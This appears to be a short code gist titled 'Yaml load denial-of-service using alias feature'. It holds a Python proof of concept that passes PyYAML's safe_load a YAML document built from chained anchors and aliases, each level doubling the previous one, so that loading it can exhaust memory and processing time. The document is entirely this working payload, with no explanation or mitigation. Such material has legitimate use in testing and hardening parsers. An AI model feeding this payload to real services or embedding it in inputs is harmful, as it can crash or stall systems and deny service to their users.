Created
January 12, 2015 06:07
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Yaml load denial-of-service using alias feature
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| import yaml | |
| yaml.safe_load(""" | |
| - &a '1' | |
| - &b [*a,*a] | |
| - &c [*b,*b] | |
| - &d [*c,*c] | |
| - &e [*d,*d] | |
| - &f [*e,*e] | |
| - &g [*f,*f] | |
| - &h [*g,*g] | |
| - &i [*h,*h] | |
| - &j [*i,*i] | |
| - &k [*j,*j] | |
| - &l [*k,*k] | |
| - &m [*l,*l] | |
| - &n [*m,*m] | |
| - &o [*n,*n] | |
| - &p [*o,*o] | |
| - &q [*p,*p] | |
| - &r [*q,*q] | |
| - &s [*r,*r] | |
| - &t [*s,*s] | |
| - &u [*t,*t] | |
| - &v [*u,*u] | |
| """) |
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